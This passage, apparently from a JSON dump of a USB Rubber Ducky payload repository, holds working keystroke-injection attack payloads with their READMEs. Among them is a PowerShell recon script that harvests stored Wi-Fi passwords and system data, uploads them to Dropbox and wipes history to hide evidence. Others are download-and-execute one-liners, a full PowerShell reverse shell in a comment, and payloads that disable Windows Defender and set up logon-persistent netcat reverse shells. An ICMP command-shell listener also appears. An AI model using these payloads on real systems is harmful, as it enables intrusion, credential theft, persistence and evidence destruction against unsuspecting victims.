Select-Object Name, DeviceID, Manufacturer | Sort-Object -Descending Name | Format-Table\r\n\r\n# Check RDP\r\n$RDP\r\nif ((Get-ItemProperty \"hklm:\\System\\CurrentControlSet\\Control\\Terminal Server\").fDenyTSConnections -eq 0) { \r\n\t$RDP = \"RDP is Enabled\" \r\n} else {\r\n\t$RDP = \"RDP is NOT enabled\" \r\n}\r\n\r\n############################################################################################################################################################\r\n\r\n# Get Network Interfaces\r\n$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null }  | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress \r\n\r\n# Get wifi SSIDs and Passwords\t\r\n$WLANProfileNames =@()\r\n#Get all the WLAN profile names\r\n$Output = netsh.exe wlan show profiles | Select-String -pattern \" : \"\r\n#Trim the output to receive only the name\r\nForeach($WLANProfileName in $Output){\r\n    $WLANProfileNames += (($WLANProfileName -split \":\")[1]).Trim()\r\n}\r\n$WLANProfileObjects =@()\r\n#Bind the WLAN profile names and also the password to a custom object\r\nForeach($WLANProfileName in $WLANProfileNames){\r\n    #get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user\r\n    try{\r\n        $WLANProfilePassword = (((netsh.exe wlan show profiles name=\"$WLANProfileName\" key=clear | select-string -Pattern \"Key Content\") -split \":\")[1]).Trim()\r\n    }Catch{\r\n        $WLANProfilePassword = \"The password is not stored in this profile\"\r\n    }\r\n    #Build the object and add this to an array\r\n    $WLANProfileObject = New-Object PSCustomobject \r\n    $WLANProfileObject | Add-Member -Type NoteProperty -Name \"ProfileName\" -Value $WLANProfileName\r\n    $WLANProfileObject | Add-Member -Type NoteProperty -Name \"ProfilePassword\" -Value $WLANProfilePassword\r\n    $WLANProfileObjects += $WLANProfileObject\r\n    Remove-Variable WLANProfileObject\r\n}\r\n\r\n############################################################################################################################################################\r\n\r\n# local-user\r\n$luser=Get-WmiObject -Class Win32_UserAccount | Format-Table Caption, Domain, Name, FullName, SID\r\n\r\n# process first\r\n$process=Get-WmiObject win32_process | select Handle, ProcessName, ExecutablePath, CommandLine\r\n\r\n# Get Listeners / ActiveTcpConnections\r\n$listener = Get-NetTCPConnection | select @{Name=\"LocalAddress\";Expression={$_.LocalAddress + \":\" + $_.LocalPort}}, @{Name=\"RemoteAddress\";Expression={$_.RemoteAddress + \":\" + $_.RemotePort}}, State, AppliedSetting, OwningProcess\r\n$listener = $listener | foreach-object {\r\n    $listenerItem = $_\r\n    $processItem = ($process | where { [int]$_.Handle -like [int]$listenerItem.OwningProcess })\r\n    new-object PSObject -property @{\r\n      \"LocalAddress\" = $listenerItem.LocalAddress\r\n      \"RemoteAddress\" = $listenerItem.RemoteAddress\r\n      \"State\" = $listenerItem.State\r\n      \"AppliedSetting\" = $listenerItem.AppliedSetting\r\n      \"OwningProcess\" = $listenerItem.OwningProcess\r\n      \"ProcessName\" = $processItem.ProcessName\r\n    }\r\n} | select LocalAddress, RemoteAddress, State, AppliedSetting, OwningProcess, ProcessName | Sort-Object LocalAddress | Format-Table \r\n\r\n# process last\r\n$process = $process | Sort-Object ProcessName | Format-Table Handle, ProcessName, ExecutablePath, CommandLine\r\n\r\n# service\r\n$service=Get-WmiObject win32_service | select State, Name, DisplayName, PathName, @{Name=\"Sort\";Expression={$_.State + $_.Name}} | Sort-Object Sort | Format-Table State, Name, DisplayName, PathName\r\n\r\n# installed software (get uninstaller)\r\n$software=Get-ItemProperty HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\* | where { $_.DisplayName -notlike $null } |  Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Sort-Object DisplayName | Format-Table -AutoSize\r\n\r\n# drivers\r\n$drivers=Get-WmiObject Win32_PnPSignedDriver| where { $_.DeviceName -notlike $null } | select DeviceName, FriendlyName, DriverProviderName, DriverVersion\r\n\r\n# videocard\r\n$videocard=Get-WmiObject Win32_VideoController | Format-Table Name, VideoProcessor, DriverVersion, CurrentHorizontalResolution, CurrentVerticalResolution\r\n\r\n############################################################################################################################################################\r\n\r\n# MAKE LOOT FOLDER \r\n\r\n$FileName = \"$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_computer_recon.txt\"\r\n\r\n############################################################################################################################################################\r\n\r\n# OUTPUTS RESULTS TO LOOT FILE\r\n\r\nClear-Host\r\nWrite-Host \r\n\r\necho \"Name:\" >> $env:TMP\\$FileName\r\necho \"==================================================================\" >> $env:TMP\\$FileName\r\necho $FN >> $env:TMP\\$FileName\r\necho \"\" >> $env:TMP\\$FileName\r\necho \"Email:\" >> $env:TMP\\$FileName\r\necho \"==================================================================\" >> $env:TMP\\$FileName\r\necho $EM >> $env:TMP\\$FileName\r\necho \"\" >> $env:TMP\\$FileName\r\necho \"GeoLocation:\" >> $env:TMP\\$FileName\r\necho \"==================================================================\" >> $env:TMP\\$FileName\r\necho $GL >> $env:TMP\\$FileName\r\necho \"\" >> $env:TMP\\$FileName\r\necho \"Nearby Wifi:\" >> $env:TMP\\$FileName\r\necho \"==================================================================\" >> $env:TMP\\$FileName\r\necho $NearbyWifi >> $env:TMP\\$FileName\r\necho \"\" >> $env:TMP\\$FileName\r\n$computerSystem.Name >> $env:TMP\\$FileName\r\n\"==================================================================\r\nManufacturer: \" + $computerSystem.Manufacturer >> $env:TMP\\$FileName\r\n\"Model: \" + $computerSystem.Model >> $env:TMP\\$FileName\r\n\"Serial Number: \" + $computerBIOS.SerialNumber >> $env:TMP\\$FileName\r\n\"\" >> $env:TMP\\$FileName\r\n\"\" >> $env:TMP\\$FileName\r\n\"\" >> $env:TMP\\$FileName\r\n\r\n\"OS:\r\n==================================================================\"+ ($computerOs |out-string) >> $env:TMP\\$FileName\r\n\r\n\"CPU:\r\n==================================================================\"+ ($computerCpu| out-string) >> $env:TMP\\$FileName\r\n\r\n\"RAM:\r\n==================================================================\r\nCapacity: \" + $computerRamCapacity+ ($computerRam| out-string) >> $env:TMP\\$FileName\r\n\r\n\"Mainboard:\r\n==================================================================\"+ ($computerMainboard| out-string) >> $env:TMP\\$FileName\r\n\r\n\"Bios:\r\n==================================================================\"+ (Get-WmiObject win32_bios| out-string) >> $env:TMP\\$FileName\r\n\r\n\r\n\"Local-user:\r\n==================================================================\"+ ($luser| out-string) >> $env:TMP\\$FileName\r\n\r\n\"HDDs:\r\n==================================================================\"+ ($Hdds| out-string) >> $env:TMP\\$FileName\r\n\r\n\"COM & SERIAL DEVICES:\r\n==================================================================\" + ($COMDevices | Out-String) >> $env:TMP\\$FileName\r\n\r\n\"Network: \r\n==================================================================\r\nComputers MAC address: \" + $MAC >> $env:TMP\\$FileName\r\n\"Computers IP address: \" + $computerIP.ipaddress[0] >> $env:TMP\\$FileName\r\n\"Public IP address: \" + $computerPubIP >> $env:TMP\\$FileName\r\n\"RDP: \" + $RDP >> $env:TMP\\$FileName\r\n\"\" >> $env:TMP\\$FileName\r\n($Network| out-string) >> $env:TMP\\$FileName\r\n\r\n\"W-Lan profiles: \r\n==================================================================\"+ ($WLANProfileObjects| Out-String) >> $env:TMP\\$FileName\r\n\r\n\"listeners / ActiveTcpConnections\r\n==================================================================\"+ ($listener| Out-String) >> $env:TMP\\$FileName\r\n\r\n\"Current running process: \r\n==================================================================\"+ ($process| Out-String) >> $env:TMP\\$FileName\r\n\r\n\"Services: \r\n==================================================================\"+ ($service| Out-String) >> $env:TMP\\$FileName\r\n\r\n\"Installed software:\r\n==================================================================\"+ ($software| Out-String) >> $env:TMP\\$FileName\r\n\r\n\"Installed drivers:\r\n==================================================================\"+ ($drivers| Out-String) >> $env:TMP\\$FileName\r\n\r\n\"Installed videocards:\r\n==================================================================\" + ($videocard| Out-String) >> $env:TMP\\$FileName\r\n\r\n\r\n############################################################################################################################################################\r\n\r\n# Recon all User Directories\r\n#tree $Env:userprofile /a /f | Out-File -FilePath $Env:tmp\\j-loot\\tree.txt\r\ntree $Env:userprofile /a /f >> $env:TMP\\$FileName\r\n\r\n############################################################################################################################################################\r\n\r\n# Remove Variables\r\n\r\nRemove-Variable -Name computerPubIP,\r\ncomputerIP,IsDHCPEnabled,Network,Networks, \r\ncomputerMAC,computerSystem,computerBIOS,computerOs,\r\ncomputerCpu, computerMainboard,computerRamCapacity,\r\ncomputerRam,driveType,Hdds,RDP,WLANProfileNames,WLANProfileName,\r\nOutput,WLANProfileObjects,WLANProfilePassword,WLANProfileObject,luser,\r\nprocess,listener,listenerItem,process,service,software,drivers,videocard,\r\nvault -ErrorAction SilentlyContinue -Force\r\n\r\n############################################################################################################################################################\r\n\r\n# Upload output file to dropbox\r\n\r\n$TargetFilePath=\"/$FileName\"\r\n$SourceFilePath=\"$env:TMP\\$FileName\"\r\n$arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\r\n$authorization = \"Bearer \" + $DropBoxAccessToken\r\n$headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\r\n$headers.Add(\"Authorization\", $authorization)\r\n$headers.Add(\"Dropbox-API-Arg\", $arg)\r\n$headers.Add(\"Content-Type\", 'application/octet-stream')\r\nInvoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\r\n\r\n############################################################################################################################################################\r\n\r\n<#\r\n\r\n.NOTES \r\n\tThis is to clean up behind you and remove any evidence to prove you were there\r\n#>\r\n\r\n# Delete contents of Temp folder \r\n\r\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\r\n\r\n# Delete run box history\r\n\r\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\r\n\r\n# Delete powershell history\r\n\r\nRemove-Item (Get-PSreadlineOption).HistorySavePath\r\n\r\n# Deletes contents of recycle bin\r\n\r\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\r\n\r\n\t\t\r\n\r\n\t\r\n"
  },
  {
    "path": "payloads/library/recon/Tree_of_Knowledge/-RD-ADV-Recon/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# ADV-Recon\n\nA script used to do an advanced level of Recon on the targets computer\n\n## Description\n\nThis program enumerates a target PC to include Operating System, RAM Capacity, Public IP, and Email associated with microsoft account.\nThe GeoLocation (latitude and longitude) of where the script was ran.\nThe SSID and WiFi password of any current or previously connected to networks.\nIt determines the last day they changed thier password and how many days ago.\nIntel on the system Info, HDDs, network interfaces, TCP connections, Processes, Services, Installed software, drivers, and video card \nAlong with TREE list of all files in the target computer is gathered and uploaded to your DropBox cloud storage\n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file sharing service - Your Shared link for the intended file\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory\n```\npowershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-ADV-Recon)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/recon/Tree_of_Knowledge/-RD-ADV-Recon/payload.txt",
    "content": "REM     Title: ADV-Recon\n\nREM     Author: I am Jakoby\n\nREM     Description: This payload is meant to do an advanced recon of the targets PC. See README.md file for more details.\n\nREM     Target: Windows 10, 11\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\nENTER\n\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n"
  },
  {
    "path": "payloads/library/recon/Tree_of_Knowledge/payload.txt",
    "content": "REM Payload created by Alex007-CyberGuy\r\nREM Check the readme.md file for more info on the payload and what is does.\r\nDEFAULTDELAY 250\r\nDELAY 3000\r\nGUI r\r\nDELAY 400\r\nSTRING cmd /k \"mode con:cols=18 lines=1&color FE&cd %userprofile%&for /f %d in ('wmic volume get driveletter^, label ^| findstr \"USB\"') do set myd=%d&echo tree /a /f > echotree.cmd\"\r\nENTER\r\nDELAY 350\r\nSTRING echotree.cmd > %myd%/%computername%.txt&del echotree.cmd&attrib +h %myd%/%computername%.txt&exit\r\nENTER\r\nALT SPACE\r\nSTRING n"
  },
  {
    "path": "payloads/library/recon/Tree_of_Knowledge/readme.md",
    "content": "# Tree of Knowledge\r\n\r\n## Intro\r\nThis payload copies the names of all the files on a victim's PC, then puts them on a file on the root of the ducky.\r\nIn order to remove suspicion, the ducky also automatically hides the gathered recon info so that it can only be seen when the batch file is run.\r\nThis whole process is relatively discreet, bug free and can run and finish in a matter of seconds.\r\nThis payload is great for the first phase of a Pen Test, since it effortlessly shows you the contents of a victim's PC, which can then later be used for an \"involuntary backup\".\r\n\r\n## Requirements:\r\n- Only works on Windows (7/8/8.1/10)\r\n- Twin Duck firmware must be loaded\r\n- The ducky must be labeled as \"USB\"\r\n\r\n## Viewing files\r\nIn order to view the gathered recon file(s), simply put the show.bat program onto the root of the ducky and run it.\r\n\r\n## Troubleshooting\r\n1. Experiment with those delays.\r\n2. Make sure that you don't already have a recon file saved from that computer.\r\n3. ALT SPACE doesn't work on some encoders. Try using the java based encoder.\r\n\r\n### Tip\r\nThe inject.bin still works even if it is marked as \"hidden\".\r\n\r\nThat's it folks!\r\nI spent quite long in order optimise this payload, so enjoy!\r\n"
  },
  {
    "path": "payloads/library/recon/Tree_of_Knowledge/show.bat",
    "content": "echo off:\r\nattrib *.txt -h /s /d "
  },
  {
    "path": "payloads/library/recon/x-frame-options_scanner/README.md",
    "content": "# \"X-Frame-Options\" Scanner\n\n- Title:         \"X-Frame-Options\" Scanner\n- Author:        TW-D\n- Version:       1.0\n- Category:      Recon\n\n## Description\n\nUses the \"Microsoft Edge\" web browser to search for web servers within \na range of IPv4 addresses that do not have an \"X-Frame-Options\" header.\n\nThen exports the results to a PDF file accessible in the Rubber Ducky.\n\nThe results contain the tested IPv4 addresses and the HTML rendering.\n\n## Tested On\n\n>\n> Microsoft Edge (Windows 10)\n>\n\n| X-Frame-Options | Encryption | Detectable |\n| --- | --- | --- |\n| None | None | Yes |\n| Set to SAMEORIGIN | None | No |\n| Set to SAMEORIGIN | Self-Signed Certificate | No |\n\n__NOTE :__ *All cases could not be tested.*\n\n## Configuration\n\nIn the \"payload.txt\" file, replace the values of the following constants :\n\n```\n\nREM ---\nREM USB Rubber Ducky label.\nREM ---\nDEFINE #RD_LABEL DUCKY\n\nREM ---\nREM Format of an allowed IPv4 address range.\nREM 192.168.0.X-192.168.0.Y where (X < Y)\nREM ---\nDEFINE #LAN 192.168.0.1-192.168.0.50\n\n```\n\n## Advanced Configuration\n\nIn the \"main.js\" file available in the \"recon_files/assets/js/\" directory, \nyou can add new ports to be tested for each host :\n\n```js\nif (LAN) {\n    Promise.all(\n        [\n            ...,\n            recon('http', 8080),\n            recon('https', 8443)\n        ]\n    );\n}\n```\n\n## Usage\n\nAt the root of the USB Rubber Ducky, copy the \"recon_files/\" folder.\n"
  },
  {
    "path": "payloads/library/recon/x-frame-options_scanner/payload.txt",
    "content": "REM TITLE : \"X-Frame-Options\" Scanner\nREM AUTHOR : TW-D\nREM TARGET : Microsoft Edge\nREM VERSION : 1.0\nREM CATEGORY : Recon\nREM REQUIREMENT : DuckyScript 3.0\n\nATTACKMODE HID STORAGE\nDELAY 10000\n\nREM ---\nREM USB Rubber Ducky label.\nREM ---\nDEFINE #RD_LABEL DUCKY\n\nREM ---\nREM Format of an allowed IPv4 address range.\nREM 192.168.0.X-192.168.0.Y where (X < Y)\nREM ---\nDEFINE #LAN 192.168.0.1-192.168.0.50\n\nSAVE_HOST_KEYBOARD_LOCK_STATE\n\nIF ( $_CAPSLOCK_ON ) THEN\n    CAPSLOCK\n    DELAY 500\nEND_IF\n\nIF ( $_NUMLOCK_ON == FALSE ) THEN\n    NUMLOCK\n    DELAY 500\nEND_IF\n\nGUI r\nDELAY 1500\nSTRINGLN CMD /K \"MODE CON:COLS=18 LINES=1 && FOR /F %d IN ('WMIC Volume GET DriveLetter^, Label^|FINDSTR \"#RD_LABEL\"') DO @SET RD_LABEL=%d\"\nDELAY 2000\nSTRINGLN START MSEDGE --headless --disable-gpu --run-all-compositor-stages-before-draw --print-to-pdf=\"%RD_LABEL%\\loot_%RANDOM%.pdf\" \"%RD_LABEL%\\recon_files\\index.html?lan=#LAN\" && EXIT\n\nRESTORE_HOST_KEYBOARD_LOCK_STATE\n"
  },
  {
    "path": "payloads/library/recon/x-frame-options_scanner/recon_files/assets/css/style.css",
    "content": "body {\n    margin: 0;\n}\n\nh1, #url {\n    text-align: center;\n}\n\n#url {\n    font-size: small;\n    border-width: 1px;\n    border-style: solid;\n    border-color: white;\n    color: whitesmoke;\n    padding: 1vh 0 1vh 0;\n    background-color: lightslategray;\n}\n\niframe {\n    min-width: 100vw;\n    max-width: 100vw;\n    min-height: 98vh;\n    max-height: 98vh;\n    border-style: none;\n}"
  },
  {
    "path": "payloads/library/recon/x-frame-options_scanner/recon_files/assets/js/constants.js",
    "content": "const LAN = (new URLSearchParams(document.location.search).get('lan'));\r\nconst OUTPUT = document.querySelector('#output');"
  },
  {
    "path": "payloads/library/recon/x-frame-options_scanner/recon_files/assets/js/functions/recon.js",
    "content": "async function recon(scheme, port) {\n    for (let target of targets()) {\n        let url, div, iframe;\n        url = (scheme + '://' + target + ':' + port + '/');\n        div = document.createElement('div');\n        div.id = 'url';\n        div.innerText = url;\n        iframe = document.createElement('iframe');\n        iframe.sandbox = 'allow-same-origin allow-scripts';\n        iframe.src = url;\n        OUTPUT.appendChild(div);\n        OUTPUT.appendChild(iframe);\n        await sleep();\n    }\n}"
  },
  {
    "path": "payloads/library/recon/x-frame-options_scanner/recon_files/assets/js/functions/sleep.js",
    "content": "function sleep() {\n    return(\n        new Promise(\n            resolve => setTimeout(resolve, 1250)\n        )\n    );\n}"
  },
  {
    "path": "payloads/library/recon/x-frame-options_scanner/recon_files/assets/js/functions/targets.js",
    "content": "function targets() {\n    let bounds, wholes, hosts;\n    bounds = LAN.split('-');\n    wholes = [bounds[0].split('.'), bounds[1].split('.')];\n    hosts = [parseInt(wholes[0].pop()), parseInt(wholes[1].pop())];\n    wholes = [wholes[0].join('.'), wholes[1].join('.')];\n    if (wholes[0] === wholes[1]) {\n        let whole, targets;\n        whole = wholes[0];\n        targets = new Array();\n        for (let host = hosts[0]; host <= hosts[1]; host++) {\n            targets.push(whole + '.' + host);\n        }\n        return(targets);\n    } else {\n        return(new Array());\n    }\n}"
  },
  {
    "path": "payloads/library/recon/x-frame-options_scanner/recon_files/assets/js/main.js",
    "content": "if (LAN) {\n    Promise.all(\n        [\n            recon('http', 80),\n            recon('https', 443)\n        ]\n    );\n}"
  },
  {
    "path": "payloads/library/recon/x-frame-options_scanner/recon_files/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"./assets/css/style.css?version=1.0.0\" />\n    </head>\n    <body>\n        <main>\n            <section>\n                <h1>X-FRAME-OPTIONS Scanner</h1>\n                <div id=\"output\"></div>\n            </section>\n        </main>\n        <script type=\"text/javascript\" src=\"./assets/js/constants.js?version=1.0.0\"></script>\n        <script type=\"text/javascript\" src=\"./assets/js/functions/targets.js?version=1.0.0\"></script>\n        <script type=\"text/javascript\" src=\"./assets/js/functions/sleep.js?version=1.0.0\"></script>\n        <script type=\"text/javascript\" src=\"./assets/js/functions/recon.js?version=1.0.0\"></script>\n        <script type=\"text/javascript\" src=\"./assets/js/main.js?version=1.0.0\"></script>\n    </body>\n</html>"
  },
  {
    "path": "payloads/library/remote_access/EnableSSH-Android/payload.txt",
    "content": "REM       Enable SSH - Android\nREM       Version 1.0\nREM       OS: Android\nREM       Author: KryptoKola\nREM\t    Requirements: RubberDucky, Android Device with Termux Installed\nREM       Description: This payload will install and run OpenSSH on Android devices with Termux installed. (Termux should be installed from F-droid for best results).\nREM\t    Configuration: Place a password in the \"NewPasswordHere\" and \"ConfirmPasswordHere\" fields below.\n\nATTACKMODE HID\nDELAY 500\nGUI f\nDELAY 1000\nSTRING termux\nDELAY 500\nTAB\nDELAY 100\nTAB\nDELAY 500\nENTER\nDELAY 1500\nSTRINGLN pkg update -y;pkg install root-repo -y;pkg install openssh -y;ssh-keygen -A;sshd;passwd;\nDELAY 20000\nSTRINGLN NewPasswordHere\nDELAY 500\nSTRINGLN ConfirmPasswordHere\nDELAY 500\nALT F4\nDELAY 100\nALT F4\nDELAY 500\n"
  },
  {
    "path": "payloads/library/remote_access/Hidden_access/payload.txt",
    "content": "REM Author: makozort \nREM Title: Hidden_access \nREM Target: windows 10 \nREM Description: gain a reverse shell to targets pc, the script works VERY qucikly agains machines with disabled defender\nREM THIS SCRIPT IS INTENDED FOR USE ON SYSTEMS YOU OWN OR HAVE BEEN GIVEN PERMISSION TO USE, I TAKE NO RESPONSIBILITIES FOR ANY MISUSE\nREM This is the rs.ps1 to host\nREM $client = New-Object System.Net.Sockets.TCPClient(\"{IP here}\",{PORT HERE});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\nDELAY 1000\nCTRL ESC\nDELAY 300\nREM this block disables windows defender, delete it if you dont need to. target may have varibles that mean you need to change how many times \"TAB\" is hit\nSTRING windows security\nDELAY 300\nENTER\nDELAY 1000\nENTER\nTAB\nTAB\nTAB\nTAB\nDELAY 300\nENTER\nDELAY 600\nSPACE\nDELAY 600\nLEFT\nENTER\nDELAY 300\nALT F4\nGUI r\nDELAY 600\nREM open up powershell in hidden mode, run the command (the rs.ps1 that needs to be edited )you have already uploaded somewhere so that the ducky does not have to type it all out\nSTRING powershell -w hidden IEX (New-Object Net.WebClient).DownloadString('LINK HERE');\nENTER\nDELAY 600\nLEFT\nENTER\n"
  },
  {
    "path": "payloads/library/remote_access/NSHELL/Payload.txt.txt",
    "content": "REM Title: Admin Reverse shell\r\nREM Author: Naitik Dharmendra Joshi\r\nREM Description: Opens cmd and with admin privileges and starts a reverse shell in hidden Powershell window\r\nREM Target: Windows 10 (CMD, Powershell)\r\nREM Version: 1.0\r\nREM Category: General\r\n\r\nREM Change the Following Details.\r\nREM [LISTENER_IP_ADDRESS] IP Address of the Attacker System.\r\nREM [PORT] The Port on the target system you want Netcat to listen on.\r\n\r\nDELAY 300\r\nGUI r\r\nDELAY 20\r\nREM --> Opens Task Manager\r\nSTRING taskmgr\r\nDELAY 150\r\nALT f\r\nn\r\nDELAY 50\r\nREM --> Starts CMD\r\nSTRING cmd\r\nTAB\r\nREM --> Turn On Admin Privileges\r\nSPACE\r\nREM --> Run\r\nENTER\r\nDELAY 20\r\n\r\nREM --> Kills TaskManager, Executes PowerShell Commands (Hidden), Disables Windows Defender and Executes a Reverse Shell\r\nSTRING taskkill /IM taskmgr.exe && powershell -WindowStyle hidden Set-MpPreference -DisableRealtimeMonitoring $true; IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell [LISTENER_IP_ADDRESS] [PORT]\");\r\n\r\n "
  },
  {
    "path": "payloads/library/remote_access/Netcat-Reverseshell-On-Log-In/payload.txt",
    "content": "REM Title: Netcat Reverseshell On Log In\nREM Description: Creates a powershell Job/Task to remotely connect to the computer with netcat every time user logs in\nREM Author: https://github.com/HokkaidoInu\nREM delay: You may want to change the delays and/or delete some, I have it like it is because I have really slow computer\nREM setup: \nREM Windows defender is required to be disabled\nREM Have IP and port 87 open and listening on server side for netcat reverse shell\nREM Create a txt file with the command below in it, replacing the ip to your servers ip:\nREM IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 123.456.7.890 87\nREM Host the text file online on github or your own web server or something\nREM Then in the payload, replace https://example.com/txt/load.txt with the url that you are hosting your txt file in raw format\nGUI r\nDELAY 4000\nSTRING powershell\nCTRL SHIFT ENTER\nDELAY 4000\nLEFT\nDELAY 4000\nENTER\nDELAY 4000\nSTRING $T = New-JobTrigger -AtLogOn ; $Script = Invoke-WebRequest 'https://example.com/txt/load.txt' ; $ScriptBlock = [Scriptblock]::Create($Script.Content) ; Register-ScheduledJob -Name \"Powershell\" -ScriptBlock $ScriptBlock -Trigger $T\nDELAY 4000\nENTER\nDELAY 8000\nSTRING exit\nDELAY 4000\nENTER\n"
  },
  {
    "path": "payloads/library/remote_access/PingZhellDucky/PingZhellDucky.pl",
    "content": "#!/usr/bin/env perl\r\n#\r\n#  icmpsh - simple icmp command shell\r\n#  Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>\r\n#  This program is free software: you can redistribute it and/or modify\r\n#  it under the terms of the GNU General Public License as published by\r\n#  the Free Software Foundation, either version 3 of the License, or\r\n#  (at your option) any later version.\r\n#\r\n#  This program is distributed in the hope that it will be useful,\r\n#  but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n#  GNU General Public License for more details.\r\n#\r\n#  You should have received a copy of the GNU General Public License\r\n#  along with this program.  If not, see <http://www.gnu.org/licenses/>.\r\n#\r\n#  Modified by 0i41E for PingZhellDucky\r\n#\r\n# \r\n#\r\n#\r\n\r\n\r\nuse strict;\r\nuse IO::Socket;\r\nuse NetPacket::IP;\r\nuse NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);\r\nuse Net::RawIP;\r\nuse Fcntl;\r\n\r\nprint \"Loading PingZhellDucky...\\n\";\r\n\r\n# create raw socket\r\nmy $sock = IO::Socket::INET->new(\r\n                Proto   => \"ICMP\",\r\n                Type    => SOCK_RAW,\r\n                Blocking => 1) or die \"$!\";\r\n\r\n# set stdin to non-blocking\r\nfcntl(STDIN, F_SETFL, O_NONBLOCK) or die \"$!\";\r\n\r\n\r\n#Unnecessary print output - just for fun\r\nsleep(2);\r\nprint \". .\\n\";\r\nsleep(1);\r\nprint \". . .\\n\";\r\nsleep(1);\r\nprint \". . . .\";\r\nsleep(2);\r\nprint \"PingZhellDucky client ready!\\n\";\r\nmy $input = '';\r\nwhile(1) {\r\n        if ($sock->recv(my $buffer, 4096, 0)) {\r\n                my $ip = NetPacket::IP->decode($buffer);\r\n                my $icmp = NetPacket::ICMP->decode($ip->{data});\r\n                if ($icmp->{type} == ICMP_ECHO) {\r\n                        # get identifier and sequencenumber\r\n                        my ($ident,$seq,$data) = unpack(\"SSa*\", $icmp->{data});\r\n\r\n                        # write data to stdout and read from stdin\r\n                        print $data;\r\n                        $input = <STDIN>;\r\n\r\n                        # compile and send response\r\n                        $icmp->{type} = ICMP_ECHOREPLY;\r\n                        $icmp->{data} = pack(\"SSa*\", $ident, $seq, $input);\r\n                        my $raw = $icmp->encode();\r\n                        my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));\r\n                        $sock->send($raw, 0, $addr) or die \"$!\\n\";\r\n                }\r\n        }\r\n}"
  },
  {
